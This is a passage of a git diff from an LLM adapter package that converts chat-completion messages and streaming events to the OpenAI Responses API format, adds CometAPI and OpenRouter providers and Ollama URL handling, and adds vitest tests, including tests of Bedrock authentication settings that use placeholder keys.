"openai/resources/responses/responses.js"; + +const RESPONSES_MODEL_REGEX = /^(?:gpt-5|gpt-5-codex|o)/i; + +export function isResponsesModel(model: string): boolean { + return !!model && RESPONSES_MODEL_REGEX.test(model); +} + +function convertTextPart(text: string): ResponseInputText { + return { + text, + type: "input_text", + }; +} + +function convertImagePart( + image: ChatCompletionContentPartImage, +): ResponseInputImage { + const converted: ResponseInputImage = { + type: "input_image", + image_url: image.image_url.url, + detail: image.image_url.detail ?? "auto", + }; + if ((image.image_url as any).file_id) { + (converted as any).file_id = (image.image_url as any).file_id; + } + return converted; +} + +function convertAudioPart( + part: ChatCompletionContentPartInputAudio, +): ResponseInputAudio { + return { + type: "input_audio", + input_audio: { + data: part.input_audio.data, + format: part.input_audio.format, + }, + }; +} + +function convertFilePart( + part: ChatCompletionContentPart.File, +): ResponseInputFile { + return { + type: "input_file", + file_id: part.file.file_id ?? undefined, + file_data: part.file.file_data ?? undefined, + filename: part.file.filename ?? undefined, + file_url: (part.file as any).file_url ?? undefined, + }; +} + +function convertMessageContentPart( + part: ChatCompletionContentPart | ChatCompletionContentPartRefusal, +): ResponseInputContent | undefined { + switch (part.type) { + case "text": + return convertTextPart(part.text); + case "image_url": + return convertImagePart(part); + case "input_audio": + return convertAudioPart(part); + case "file": + return convertFilePart(part); + case "refusal": + // Skip refusal parts - they're not input content + return undefined; + default: + return undefined; + } +} + +function collectMessageContentParts( + content: ChatCompletionMessageParam["content"], +): ResponseInputContent[] { + if (typeof content === "string") { + return [convertTextPart(content)]; + } + if (!Array.isArray(content)) { + return []; + } + + const parts: ResponseInputContent[] = []; + for (const part of content) { + const converted = convertMessageContentPart(part); + if (!converted) { + continue; + } + parts.push(converted); + } + return parts; +} + +type AssistantContentPart = ResponseOutputText | ResponseOutputRefusal; + +function createOutputTextPart( + text: string, + source?: Partial, +): AssistantContentPart { + const annotations = + Array.isArray(source?.annotations) && source.annotations.length > 0 + ? source.annotations + : []; + const part: ResponseOutputText = { + text, + type: "output_text", + annotations, + }; + if (Array.isArray(source?.logprobs) && source.logprobs.length > 0) { + part.logprobs = source.logprobs; + } + return part; +} + +function createRefusalPart(refusal: string): AssistantContentPart { + return { + refusal, + type: "refusal", + }; +} + +function collectAssistantContentParts( + content: ChatCompletionMessageParam["content"], + refusal?: string | null, +): AssistantContentPart[] { + const parts: AssistantContentPart[] = []; + + if (typeof content === "string") { + if (content.trim().length > 0) { + parts.push(createOutputTextPart(content)); + } + } else if (Array.isArray(content)) { + for (const rawPart of content) { + // Content array should be ChatCompletionContentPartText | ChatCompletionContentPartRefusal + // but we handle "output_text" type which may come from Response API conversions + const part = rawPart as + | ChatCompletionContentPartText + | ChatCompletionContentPartRefusal + | { type: "output_text"; text: string }; + if (!part) { + continue; + } + + const partType = part.type; + if (partType === "text") { + const textPart = part as ChatCompletionContentPartText; + if ( + typeof textPart.text === "string" && + textPart.text.trim().length > 0 + ) { + parts.push(createOutputTextPart(textPart.text)); + } + } else if (partType === "output_text") { + const textValue = (part as { type: "output_text"; text: string }).text; + if (typeof textValue === "string" && textValue.trim().length > 0) { + parts.push(createOutputTextPart(textValue)); + } + } else if (partType === "refusal") { + const refusalPart = part as ChatCompletionContentPartRefusal; + const refusalText = refusalPart.refusal; + if (typeof refusalText === "string" && refusalText.trim().length > 0) { + parts.push(createRefusalPart(refusalText)); + } + } + } + } + + if (typeof refusal === "string" && refusal.trim().length > 0) { + parts.push(createRefusalPart(refusal)); + } + + return parts; +} + +function extractToolResultContent( + content: ChatCompletionMessageParam["content"], +): string { + if (typeof content === "string") { + return content; + } + if (!Array.isArray(content)) { + return ""; + } + + return content + .map((part) => { + if (part.type === "text") { + return part.text; + } + return ""; + }) + .join(""); +} + +function convertTools( + tools?: ChatCompletionTool[] | null, + legacyFunctions?: ChatCompletionCreateParams["functions"], +): ResponseCreateParams["tools"] | undefined { + if (tools?.length) { + return tools.map((tool) => { + if (tool.type === "function") { + return { + type: "function" as const, + name: tool.function.name, + description: tool.function.description ?? null, + parameters: tool.function.parameters ?? null, + strict: + tool.function.strict !== undefined ? tool.function.strict : null, + }; + } + return tool as any; + }); + } + + if (legacyFunctions?.length) { + return legacyFunctions.map((fn) => ({ + type: "function" as const, + name: fn.name, + description: fn.description ?? null, + parameters: fn.parameters ?? null, + strict: null, + })); + } + + return undefined; +} + +function resolveToolChoice( + params: ChatCompletionCreateParams, +): ResponseCreateParams["tool_choice"] | undefined { + if (params.tool_choice) { + return params.tool_choice as any; + } + if (params.function_call) { + if (typeof params.function_call === "string") { + if (params.function_call === "none") { + return "none"; + } + if (params.function_call === "auto") { + return "auto"; + } + } else if (params.function_call?.name) { + return { + type: "function", + name: params.function_call.name, + }; + } + } + return undefined; +} + +export function toResponsesInput( + messages: ChatCompletionMessageParam[], +): ResponseInput { + const inputItems: ResponseInput = []; + let assistantMessageCounter = 0; + + for (const message of messages) { + if (message.role === "tool") { + if (!message.tool_call_id) { + continue; + } + const rawContent = extractToolResultContent(message.content); + inputItems.push({ + type: "function_call_output", + call_id: message.tool_call_id, + output: rawContent, + }); + continue; + } + + if (message.role === "system" || message.role === "developer") { + const contentParts = collectMessageContentParts(message.content); + if (contentParts.length === 0) { + continue; + } + inputItems.push({ + type: "message", + role: "developer", + content: contentParts, + }); + continue; + } + + if (message.role === "user") { + const contentParts = collectMessageContentParts(message.content); + if (contentParts.length === 0) { + continue; + } + inputItems.push({ + type: "message", + role: "user", + content: contentParts, + }); + continue; + } + + if (message.role === "assistant") { + const assistantMessage = message as ChatCompletionAssistantMessageParam; + const assistantContentParts = collectAssistantContentParts( + assistantMessage.content, + assistantMessage.refusal ?? null, + ); + if (assistantContentParts.length > 0) { + const providedId = (message as any).id; + const assistantId = + typeof providedId === "string" && providedId.startsWith("msg_") + ? providedId + : `msg_${(assistantMessageCounter++).toString().padStart(4, "0")}`; + inputItems.push({ + type: "message", + role: "assistant", + content: assistantContentParts, + id: assistantId, + status: "completed", + } as ResponseOutputMessage as any); + } + if (assistantMessage.tool_calls?.length) { + assistantMessage.tool_calls.forEach((toolCall, index) => { + if (toolCall.type === "function") { + const callId = toolCall.id ?? `tool_call_${index}`; + const functionCall: any = { + type: "function_call", + call_id: callId, + name: toolCall.function.name ?? "", + arguments: toolCall.function.arguments ?? "{}", + }; + if ( + typeof toolCall.id === "string" && + toolCall.id.startsWith("fc_") + ) { + functionCall.id = toolCall.id; + } + inputItems.push(functionCall); + } + }); + } + continue; + } + } + + return inputItems; +} + +export function toResponsesParams( + params: ChatCompletionCreateParams, +): ResponseCreateParams { + const input = toResponsesInput(params.messages); + + const responsesParams: ResponseCreateParams = { + model: params.model, + input, + stream: + (params as ChatCompletionCreateParamsStreaming).stream === true + ? true + : false, + tool_choice: resolveToolChoice(params), + tools: convertTools(params.tools, params.functions), + }; + + if (params.temperature !== undefined && params.temperature !== null) { + responsesParams.temperature = params.temperature; + } + if (params.top_p !== undefined && params.top_p !== null) { + responsesParams.top_p = params.top_p; + } + if (params.metadata !== undefined) { + responsesParams.metadata = params.metadata ?? null; + } + if (params.prompt_cache_key !== undefined) { + responsesParams.prompt_cache_key = params.prompt_cache_key; + } + const maxOutputTokens = + params.max_completion_tokens ?? params.max_tokens ?? null; + if (maxOutputTokens !== null) { + responsesParams.max_output_tokens = maxOutputTokens; + } + if (params.parallel_tool_calls !== undefined) { + responsesParams.parallel_tool_calls = params.parallel_tool_calls; + } else if (params.tools?.length) { + responsesParams.parallel_tool_calls = false; + } + if (params.reasoning_effort) { + responsesParams.reasoning = { + effort: params.reasoning_effort, + }; + } + + // Remove undefined properties to avoid overriding server defaults + Object.keys(responsesParams).forEach((key) => { + const typedKey = key as keyof ResponseCreateParams; + if (responsesParams[typedKey] === undefined) { + delete responsesParams[typedKey]; + } + }); + + return responsesParams; +} + +function mapUsage(usage?: ResponseUsage | null): CompletionUsage | undefined { + if (!usage) { + return undefined; + } + + const mapped: CompletionUsage = { + completion_tokens: usage.output_tokens, + prompt_tokens: usage.input_tokens, + total_tokens: usage.total_tokens, + }; + + return mapped; +} + +interface ToolCallState { + id: string; + callId: string; + index: number; + name?: string; + arguments: string; +} + +interface MessageState { + content: string; + refusal: string | null; +} + +export interface ResponsesStreamState { + context: { + id?: string; + model: string; + created?: number; + pendingFinish?: ChatCompletionChunk.Choice["finish_reason"]; + }; + messages: Map; + toolCalls: Map; + indexToToolCallId: Map; +} + +export function createResponsesStreamState(context: { + model: string; + responseId?: string; + created?: number; +}): ResponsesStreamState { + return { + context: { + id: context.responseId, + model: context.model, + created: context.created, + pendingFinish: null, + }, + messages: new Map(), + toolCalls: new Map(), + indexToToolCallId: new Map(), + }; +} + +function buildChunk( + state: ResponsesStreamState, + delta: Partial = {}, + finishReason: ChatCompletionChunk.Choice["finish_reason"] = null, + usage?: CompletionUsage, + options?: { includeChoices?: boolean }, +): ChatCompletionChunk { + const includeChoices = options?.includeChoices ?? true; + const created = state.context.created ?? Math.floor(Date.now() / 1000); + const id = state.context.id ?? ""; + + const chunk: ChatCompletionChunk = { + id, + object: "chat.completion.chunk", + created, + model: state.context.model, + choices: includeChoices + ? [ + { + index: 0, + delta: delta as ChatCompletionChunk.Choice["delta"], + finish_reason: finishReason, + logprobs: null, + }, + ] + : [], + }; + + if (usage) { + chunk.usage = usage; + } + + return chunk; +} + +function mapIncompleteReason( + event: ResponseIncompleteEvent, +): ChatCompletionChunk.Choice["finish_reason"] { + const reason = event.response.incomplete_details?.reason; + if (reason === "max_output_tokens") { + return "length"; + } + if (reason === "content_filter") { + return "content_filter"; + } + return "stop"; +} + +function upsertToolCallState( + state: ResponsesStreamState, + item: ResponseOutputItem, + outputIndex: number, +): ToolCallState { + const callId = + (item as any).call_id ?? item.id ?? `tool_call_${state.toolCalls.size}`; + const toolState: ToolCallState = { + id: item.id ?? callId, + callId, + index: outputIndex, + name: (item as any).name ?? undefined, + arguments: (item as any).arguments ?? "", + }; + state.toolCalls.set(item.id ?? callId, toolState); + state.indexToToolCallId.set(outputIndex, callId); + return toolState; +} + +function getToolCallState( + state: ResponsesStreamState, + itemId: string, + outputIndex: number, +): ToolCallState | undefined { + const existing = state.toolCalls.get(itemId); + if (existing) { + return existing; + } + const byIndex = state.indexToToolCallId.get(outputIndex); + if (!byIndex) { + return undefined; + } + return state.toolCalls.get(byIndex); +} + +export function fromResponsesChunk( + state: ResponsesStreamState, + event: ResponseStreamEvent, +): ChatCompletionChunk | undefined { + switch (event.type) { + case "response.created": { + state.context.id = event.response.id; + state.context.created = event.response.created_at; + if (event.response.model) { + state.context.model = event.response.model; + } + return undefined; + } + case "response.output_item.added": { + const item = event.item; + if (item.type === "message") { + state.messages.set(item.id, { content: "", refusal: null }); + } else if (item.type === "function_call") { + upsertToolCallState(state, item, event.output_index); + } + return undefined; + } + case "response.output_text.delta": { + const messageState = state.messages.get(event.item_id); + if (messageState) { + messageState.content += event.delta; + } + return buildChunk(state, { content: event.delta }); + } + case "response.reasoning_text.delta": { + return buildChunk(state, { + reasoning: { + content: [ + { + type: "reasoning_text", + text: event.delta, + }, + ], + }, + } as any); + } + case "response.reasoning_summary_text.delta": { + const summaryEvent = event as ResponseReasoningSummaryTextDeltaEvent; + return buildChunk(state, { + reasoning: { + content: [ + { + type: "reasoning_text", + text: summaryEvent.delta, + }, + ], + }, + } as any); + } + case "response.refusal.delta": { + const messageState = state.messages.get(event.item_id); + if (messageState) { + messageState.refusal = (messageState.refusal ?? "") + event.delta; + } + return buildChunk(state, { refusal: event.delta }); + } + case "response.function_call_arguments.delta": { + const callState = getToolCallState( + state, + event.item_id, + event.output_index, + ); + if (!callState) { + return undefined; + } + callState.arguments += event.delta; + return buildChunk(state, { + tool_calls: [ + { + index: callState.index, + id: callState.callId, + type: "function", + function: { + name: callState.name, + arguments: event.delta, + }, + }, + ], + }); + } + case "response.function_call_arguments.done": { + const doneEvent = event as ResponseFunctionCallArgumentsDoneEvent; + const callState = getToolCallState( + state, + doneEvent.item_id, + doneEvent.output_index, + ); + if (callState) { + callState.arguments = doneEvent.arguments; + } + return undefined; + } + case "response.output_item.done": { + if (event.item.type === "function_call") { + return buildChunk(state, {}, "tool_calls"); + } + if (event.item.type === "message") { + return buildChunk(state, {}, state.context.pendingFinish ?? "stop"); + } + return undefined; + } + case "response.completed": { + state.context.id = event.response.id; + state.context.created = event.response.created_at; + state.context.model = event.response.model ?? state.context.model; + const usage = mapUsage(event.response.usage); + if (usage) { + return buildChunk(state, {}, null, usage, { + includeChoices: false, + }); + } + return undefined; + } + case "response.incomplete": { + const reason = mapIncompleteReason(event as ResponseIncompleteEvent); + state.context.pendingFinish = reason; + const usage = mapUsage((event as ResponseIncompleteEvent).response.usage); + if (usage) { + return buildChunk(state, {}, null, usage, { + includeChoices: false, + }); + } + return buildChunk(state, {}, reason); + } + case "response.failed": + case "error": { + state.context.pendingFinish = "content_filter"; + return undefined; + } + default: + return undefined; + } +} + +export function responseToChatCompletion(response: Response): ChatCompletion { + const usage = mapUsage(response.usage); + let finishReason: ChatCompletionChunk.Choice["finish_reason"] = "stop"; + if (response.incomplete_details?.reason === "max_output_tokens") { + finishReason = "length"; + } else if (response.incomplete_details?.reason === "content_filter") { + finishReason = "content_filter"; + } + + const messageContent: string[] = []; + let refusal: string | null = null; + const toolCalls: ChatCompletion["choices"][0]["message"]["tool_calls"] = []; + + response.output.forEach((item) => { + if (item.type === "message") { + item.content.forEach((contentPart) => { + if (contentPart.type === "output_text") { + messageContent.push(contentPart.text); + } else if (contentPart.type === "refusal") { + refusal = (refusal ?? "") + contentPart.refusal; + } + }); + } else if (item.type === "function_call") { + toolCalls.push({ + id: item.call_id ?? item.id, + type: "function", + function: { + name: item.name, + arguments: item.arguments, + }, + }); + } + }); + + if (toolCalls.length > 0) { + finishReason = "tool_calls"; + } + + const message = { + role: "assistant" as const, + content: messageContent.length ? messageContent.join("") : null, + refusal, + tool_calls: toolCalls.length ? toolCalls : undefined, + }; + + const chatCompletion: ChatCompletion = { + id: response.id, + object: "chat.completion", + created: response.created_at, + model: response.model, + choices: [ + { + index: 0, + message, + finish_reason: finishReason, + logprobs: null, + }, + ], + }; + + if (usage) { + chatCompletion.usage = usage; + } + + return chatCompletion; +} diff --git a/packages/openai-adapters/src/index.ts b/packages/openai-adapters/src/index.ts index 622482eee..a7ee579f9 100644 --- a/packages/openai-adapters/src/index.ts +++ b/packages/openai-adapters/src/index.ts @@ -4,6 +4,7 @@ import { AnthropicApi } from "./apis/Anthropic.js"; import { AzureApi } from "./apis/Azure.js"; import { BedrockApi } from "./apis/Bedrock.js"; import { CohereApi } from "./apis/Cohere.js"; +import { CometAPIApi } from "./apis/CometAPI.js"; import { ContinueProxyApi } from "./apis/ContinueProxy.js"; import { DeepSeekApi } from "./apis/DeepSeek.js"; import { GeminiApi } from "./apis/Gemini.js"; @@ -13,11 +14,13 @@ import { LlamastackApi } from "./apis/LlamaStack.js"; import { MockApi } from "./apis/Mock.js"; import { MoonshotApi } from "./apis/Moonshot.js"; import { OpenAIApi } from "./apis/OpenAI.js"; +import { OpenRouterApi } from "./apis/OpenRouter.js"; import { RelaceApi } from "./apis/Relace.js"; import { VertexAIApi } from "./apis/VertexAI.js"; import { WatsonXApi } from "./apis/WatsonX.js"; import { BaseLlmApi } from "./apis/base.js"; import { LLMConfig, OpenAIConfigSchema } from "./types.js"; +import { appendPathToUrlIfNotPresent } from "./util/appendPathToUrl.js"; dotenv.config(); @@ -68,6 +71,8 @@ export function constructLlmApi(config: LLMConfig): BaseLlmApi | undefined { return new BedrockApi(config); case "cohere": return new CohereApi(config); + case "cometapi": + return new CometAPIApi(config); case "anthropic": return new AnthropicApi(config); case "gemini": @@ -106,8 +111,6 @@ export function constructLlmApi(config: LLMConfig): BaseLlmApi | undefined { return openAICompatible("https://api.sambanova.ai/v1/", config); case "text-gen-webui": return openAICompatible("http://127.0.0.1:5000/v1/", config); - case "openrouter": - return openAICompatible("https://openrouter.ai/api/v1/", config); case "cerebras": return openAICompatible("https://api.cerebras.ai/v1/", config); case "kindo": @@ -135,12 +138,18 @@ export function constructLlmApi(config: LLMConfig): BaseLlmApi | undefined { return openAICompatible("https://api.studio.nebius.ai/v1/", config); case "function-network": return openAICompatible("https://api.function.network/v1/", config); + case "openrouter": + return new OpenRouterApi(config); case "llama.cpp": case "llamafile": return openAICompatible("http://localhost:8000/", config); case "lmstudio": return openAICompatible("http://localhost:1234/", config); case "ollama": + // for openai compaitability, we need to add /v1 to the end of the url + // this is required for cli (for core, endpoints are overriden by core/llm/llms/Ollama.ts) + if (config.apiBase) + config.apiBase = appendPathToUrlIfNotPresent(config.apiBase, "v1"); return openAICompatible("http://localhost:11434/v1/", config); case "mock": return new MockApi(); @@ -172,3 +181,12 @@ export { // export export type { BaseLlmApi } from "./apis/base.js"; export type { LLMConfig } from "./types.js"; + +export { + addCacheControlToLastTwoUserMessages, + getAnthropicErrorMessage, + getAnthropicHeaders, + getAnthropicMediaTypeFromDataUrl, +} from "./apis/AnthropicUtils.js"; + +export { isResponsesModel } from "./apis/openaiResponses.js"; diff --git a/packages/openai-adapters/src/test/anthropic-adapter.vitest.ts b/packages/openai-adapters/src/test/anthropic-adapter.vitest.ts index 6e875efe0..859bcab02 100644 --- a/packages/openai-adapters/src/test/anthropic-adapter.vitest.ts +++ b/packages/openai-adapters/src/test/anthropic-adapter.vitest.ts @@ -50,7 +50,17 @@ describe("Anthropic Adapter Tests", () => { "x-api-key": "test-api-key", }, body: { - messages: [{ role: "user", content: "hello" }], + messages: [ + { + role: "user", + content: [ + { + type: "text", + text: "hello", + }, + ], + }, + ], system: undefined, model: "claude-3-5-sonnet-20241022", max_tokens: 32000, @@ -104,7 +114,17 @@ describe("Anthropic Adapter Tests", () => { "x-api-key": "test-api-key", }, body: { - messages: [{ role: "user", content: "hello" }], + messages: [ + { + role: "user", + content: [ + { + type: "text", + text: "hello", + }, + ], + }, + ], system: undefined, model: "claude-3-5-sonnet-20241022", max_tokens: 32000, @@ -159,7 +179,17 @@ describe("Anthropic Adapter Tests", () => { "x-api-key": "test-api-key", }, body: { - messages: [{ role: "user", content: "hello" }], + messages: [ + { + role: "user", + content: [ + { + type: "text", + text: "hello", + }, + ], + }, + ], system: [ { type: "text", diff --git a/packages/openai-adapters/src/test/main.test.ts b/packages/openai-adapters/src/test/main.test.ts index 60c05236a..3b7b96193 100644 --- a/packages/openai-adapters/src/test/main.test.ts +++ b/packages/openai-adapters/src/test/main.test.ts @@ -1,6 +1,7 @@ import { ModelConfig } from "@continuedev/config-yaml"; import * as dotenv from "dotenv"; import { vi } from "vitest"; +import { BedrockApi } from "../apis/Bedrock.js"; import { DEEPSEEK_API_BASE } from "../apis/DeepSeek.js"; import { INCEPTION_API_BASE } from "../apis/Inception.js"; import { OpenAIApi } from "../apis/OpenAI.js"; @@ -79,7 +80,7 @@ const TESTS: Omit[] = [ }, { provider: "gemini", - model: "gemini-1.5-flash-latest", + model: "gemini-2.5-pro", apiKey: process.env.GEMINI_API_KEY!, roles: ["chat"], options: { @@ -182,6 +183,19 @@ const TESTS: Omit[] = [ apiType: "azure-openai", }, }, + // { + // provider: "bedrock", + // model: "us.anthropic.claude-3-5-sonnet-20240620-v1:0", + // apiKey: process.env.BEDROCK_API_KEY!, + // roles: ["chat"], + // env: { + // region: "us-east-1", + // }, + // options: { + // skipTools: true, + // expectUsage: false, + // }, + // }, ]; if (process.env.IGNORE_API_KEY_TESTS === "true") { @@ -190,6 +204,10 @@ if (process.env.IGNORE_API_KEY_TESTS === "true") { }); } else { TESTS.forEach((config) => { + // Skip tests that don't have API keys configured + if (!config.apiKey) { + return; + } describe(`${config.provider}/${config.model}`, () => { vi.setConfig({ testTimeout: 30000 }); testConfig({ name: config.model, ...config }); @@ -311,4 +329,115 @@ describe("Configuration", () => { ); expect((azure as OpenAIApi).openai.apiKey).toBe("sk-xxx"); }); + + describe("ollama api base", () => { + it('should have correct default API base for "ollama"', () => { + const ollama = constructLlmApi({ + provider: "ollama", + }); + + expect((ollama as OpenAIApi).openai.baseURL).toBe( + "http://localhost:11434/v1/", + ); + }); + it('should append /v1 to apiBase for "ollama"', () => { + const ollama = constructLlmApi({ + provider: "ollama", + apiBase: "http://localhost:123", + }); + + expect((ollama as OpenAIApi).openai.baseURL).toBe( + "http://localhost:123/v1/", + ); + }); + it("should not reappend /v1 to apibase for ollama if it is already present", () => { + const ollama = constructLlmApi({ + provider: "ollama", + apiBase: "http://localhost:123/v1/", + }); + + expect((ollama as OpenAIApi).openai.baseURL).toBe( + "http://localhost:123/v1/", + ); + }); + it("should append v1 if apiBase is like myhostv1/", () => { + const ollama = constructLlmApi({ + provider: "ollama", + apiBase: "https://myhostv1/", + }); + expect((ollama as OpenAIApi).openai.baseURL).toBe("https://myhostv1/v1/"); + }); + it("should preserve query params and append v1 in apibase", () => { + const ollama = constructLlmApi({ + provider: "ollama", + apiBase: "https://test.com:123/ollama-server?x=1", + }); + expect((ollama as OpenAIApi).openai.baseURL).toBe( + "https://test.com:123/ollama-server/v1/?x=1", + ); + }); + }); + + describe("bedrock authentication", () => { + it("should configure Bedrock with API key authentication", () => { + const bedrock = constructLlmApi({ + provider: "bedrock", + apiKey: "test-api-key", + env: { + region: "us-east-1", + }, + }); + + expect(bedrock).toBeInstanceOf(BedrockApi); + }); + + it("should configure Bedrock with IAM credentials", () => { + const bedrock = constructLlmApi({ + provider: "bedrock", + env: { + region: "us-west-2", + accessKeyId: "test-access-key", + secretAccessKey: "test-secret-key", + }, + }); + + expect(bedrock).toBeInstanceOf(BedrockApi); + }); + + it("should configure Bedrock with AWS profile", () => { + const bedrock = constructLlmApi({ + provider: "bedrock", + env: { + region: "eu-west-1", + profile: "my-profile", + }, + }); + + expect(bedrock).toBeInstanceOf(BedrockApi); + }); + + it("should throw error if only accessKeyId is provided", () => { + expect(() => { + constructLlmApi({ + provider: "bedrock", + env: { + region: "us-east-1", + accessKeyId: "test-access-key", + }, + }); + }).toThrow("secretAccessKey is required"); + }); + + it("should throw error if only secretAccessKey is provided", () => { + expect(() => { + constructLlmApi({ + provider: "bedrock", + env: { + region: "us-east-1", + secretAccessKey: "test-secret-key", + }, + }); + }).toThrow("accessKeyId is required"); + }); + }); }); diff --git a/packages/openai-adapters/src/test/openai-responses.vitest.ts b/packages/openai-adapters/src/test/openai-responses.vitest.ts new file mode 100644 index 000000000..68173da89 --- /dev/null +++ b/packages/openai-adapters/src/test/openai-responses.vitest.ts @@ -0,0 +1,487 @@ +import { describe, expect, it } from "vitest"; + +import type { ChatCompletionChunk } from "openai/resources/index.js"; +import type { + ChatCompletionAssistantMessageParam, + ChatCompletionMessageParam, +} from "openai/resources/index.js"; +import type { + Response, + ResponseCompletedEvent, + ResponseFunctionCallArgumentsDeltaEvent, + ResponseFunctionCallArgumentsDoneEvent, + ResponseOutputItemAddedEvent, + ResponseOutputItemDoneEvent, + ResponseReasoningTextDeltaEvent, + ResponseStreamEvent, + ResponseTextDeltaEvent, +} from "openai/resources/responses/responses.js"; + +import { + createResponsesStreamState, + fromResponsesChunk, + responseToChatCompletion, + toResponsesInput, +} from "../apis/openaiResponses.js"; + +describe("toResponsesInput", () => { + it("maps assistant text content to output_text with generated msg ids", () => { + const messages: ChatCompletionMessageParam[] = [ + { + role: "assistant", + content: "Hello there!", + }, + ]; + + const inputItems = toResponsesInput(messages); + + expect(inputItems).toHaveLength(1); + const assistant = inputItems[0] as any; + expect(assistant).toMatchObject({ + type: "message", + role: "assistant", + id: "msg_0000", + }); + expect(assistant.content).toMatchObject([ + { + type: "output_text", + text: "Hello there!", + }, + ]); + }); + + it("maps assistant refusal content to refusal output items", () => { + const messages: ChatCompletionMessageParam[] = [ + { + role: "assistant", + content: "", + refusal: "I must decline.", + } as ChatCompletionAssistantMessageParam, + ]; + + const inputItems = toResponsesInput(messages); + + expect(inputItems).toHaveLength(1); + const assistant = inputItems[0] as any; + expect(assistant.content).toEqual([ + { + type: "refusal", + refusal: "I must decline.", + }, + ]); + }); + + it("converts assistant structured content into output_text items", () => { + const messages: ChatCompletionMessageParam[] = [ + { + role: "assistant", + content: [{ type: "text", text: "Structured hello." }], + } as ChatCompletionAssistantMessageParam, + ]; + + const inputItems = toResponsesInput(messages); + + const assistant = inputItems[0] as any; + expect(assistant.content).toMatchObject([ + { + type: "output_text", + text: "Structured hello.", + }, + ]); + }); + + it("converts chat messages, multimodal content, and tool interactions into Responses input items", () => { + const messages: ChatCompletionMessageParam[] = [ + { role: "system", content: "Stay concise." }, + { + role: "user", + content: [ + { type: "text", text: "Look at this image" }, + { + type: "image_url", + image_url: { url: "https://example.com/cat.png", detail: "auto" }, + }, + ], + }, + { + role: "assistant", + tool_calls: [ + { + id: "fc_call_1", + type: "function", + function: { + name: "searchDocs", + arguments: '{"query":"vitest expectations"}', + }, + }, + ], + content: "", + } as ChatCompletionAssistantMessageParam, + { + role: "tool", + tool_call_id: "call_1", + content: "Found 3 relevant documents.", + }, + ]; + + const inputItems = toResponsesInput(messages); + + expect(inputItems).toMatchObject([ + { + type: "message", + role: "developer", + content: [{ type: "input_text", text: "Stay concise." }], + }, + { + type: "message", + role: "user", + content: [ + { type: "input_text", text: "Look at this image" }, + { + type: "input_image", + image_url: "https://example.com/cat.png", + detail: "auto", + }, + ], + }, + { + type: "function_call", + call_id: "fc_call_1", + id: "fc_call_1", + name: "searchDocs", + arguments: '{"query":"vitest expectations"}', + }, + { + type: "function_call_output", + call_id: "call_1", + output: "Found 3 relevant documents.", + }, + ]); + }); +}); + +it("omits function_call id when tool call id lacks fc_ prefix", () => { + const messages: ChatCompletionMessageParam[] = [ + { + role: "assistant", + tool_calls: [ + { + id: "call_custom", + type: "function", + function: { + name: "lookup", + arguments: "{}", + }, + }, + ], + content: "", + } as ChatCompletionAssistantMessageParam, + ]; + + const inputItems = toResponsesInput(messages); + const functionCall = inputItems.find( + (item: any) => item.type === "function_call", + ) as any; + + expect(functionCall).toBeTruthy(); + expect(functionCall.call_id).toBe("call_custom"); + expect(functionCall).not.toHaveProperty("id"); +}); + +describe("fromResponsesChunk", () => { + function collectChunks(events: ResponseStreamEvent[]): ChatCompletionChunk[] { + const state = createResponsesStreamState({ + created: 1710000000, + model: "gpt-5-preview", + responseId: "resp_123", + }); + + const chunks: ChatCompletionChunk[] = []; + for (const event of events) { + const result = fromResponsesChunk(state, event); + if (result) { + chunks.push(result); + } + } + return chunks; + } + + it("emits incremental assistant content and finish_reason from Responses text deltas", () => { + const messageAdded: ResponseOutputItemAddedEvent = { + type: "response.output_item.added", + output_index: 0, + sequence_number: 1, + item: { + id: "msg_1", + type: "message", + role: "assistant", + content: [], + } as any, + }; + const firstDelta: ResponseTextDeltaEvent = { + type: "response.output_text.delta", + sequence_number: 2, + item_id: "msg_1", + output_index: 0, + content_index: 0, + delta: "Hello", + logprobs: [], + }; + const secondDelta: ResponseTextDeltaEvent = { + type: "response.output_text.delta", + sequence_number: 3, + item_id: "msg_1", + output_index: 0, + content_index: 0, + delta: " world", + logprobs: [], + }; + const messageDone: ResponseOutputItemDoneEvent = { + type: "response.output_item.done", + sequence_number: 4, + output_index: 0, + item: { + id: "msg_1", + type: "message", + role: "assistant", + content: [ + { + type: "output_text", + text: "Hello world", + }, + ], + } as any, + }; + const completed: ResponseCompletedEvent = { + type: "response.completed", + sequence_number: 5, + response: { + id: "resp_123", + object: "response", + model: "gpt-5-preview", + created_at: 1710000000, + output_text: "Hello world", + error: null, + incomplete_details: null, + instructions: null, + metadata: null, + output: [], + parallel_tool_calls: false, + temperature: null, + tool_choice: null as any, + tools: [], + usage: { + input_tokens: 12, + input_tokens_details: { cached_tokens: 0 }, + output_tokens: 9, + output_tokens_details: { reasoning_tokens: 0 }, + total_tokens: 21, + }, + } as unknown as Response, + }; + + const chunks = collectChunks([ + messageAdded, + firstDelta, + secondDelta, + messageDone, + completed, + ]); + + expect(chunks[0].choices[0].delta.content).toBe("Hello"); + expect(chunks[1].choices[0].delta.content).toBe(" world"); + const finishChunk = chunks.find( + (chunk) => chunk.choices[0].finish_reason !== null, + ); + expect(finishChunk?.choices[0].finish_reason).toBe("stop"); + const usageChunk = chunks[chunks.length - 1]; + expect(usageChunk.usage).toMatchObject({ + prompt_tokens: 12, + completion_tokens: 9, + total_tokens: 21, + }); + }); + + it("tracks streaming tool call arguments and surfaces tool_calls deltas", () => { + const toolAdded: ResponseOutputItemAddedEvent = { + type: "response.output_item.added", + sequence_number: 1, + output_index: 0, + item: { + id: "tool_item_1", + type: "function_call", + call_id: "call_99", + name: "searchDocs", + arguments: "", + status: "in_progress", + } as any, + }; + const toolDeltaA: ResponseFunctionCallArgumentsDeltaEvent = { + type: "response.function_call_arguments.delta", + sequence_number: 2, + item_id: "tool_item_1", + output_index: 0, + delta: '{"query":"vit', + }; + const toolDeltaB: ResponseFunctionCallArgumentsDeltaEvent = { + type: "response.function_call_arguments.delta", + sequence_number: 3, + item_id: "tool_item_1", + output_index: 0, + delta: 'est"}', + }; + const toolDone: ResponseFunctionCallArgumentsDoneEvent = { + type: "response.function_call_arguments.done", + sequence_number: 4, + item_id: "tool_item_1", + output_index: 0, + arguments: '{"query":"vitest"}', + }; + const toolOutputDone: ResponseOutputItemDoneEvent = { + type: "response.output_item.done", + sequence_number: 5, + output_index: 0, + item: { + id: "tool_item_1", + type: "function_call", + call_id: "call_99", + name: "searchDocs", + arguments: '{"query":"vitest"}', + status: "completed", + } as any, + }; + + const chunks = collectChunks([ + toolAdded, + toolDeltaA, + toolDeltaB, + toolDone, + toolOutputDone, + ]); + + expect(chunks[0].choices[0].delta.tool_calls?.[0].function?.arguments).toBe( + '{"query":"vit', + ); + 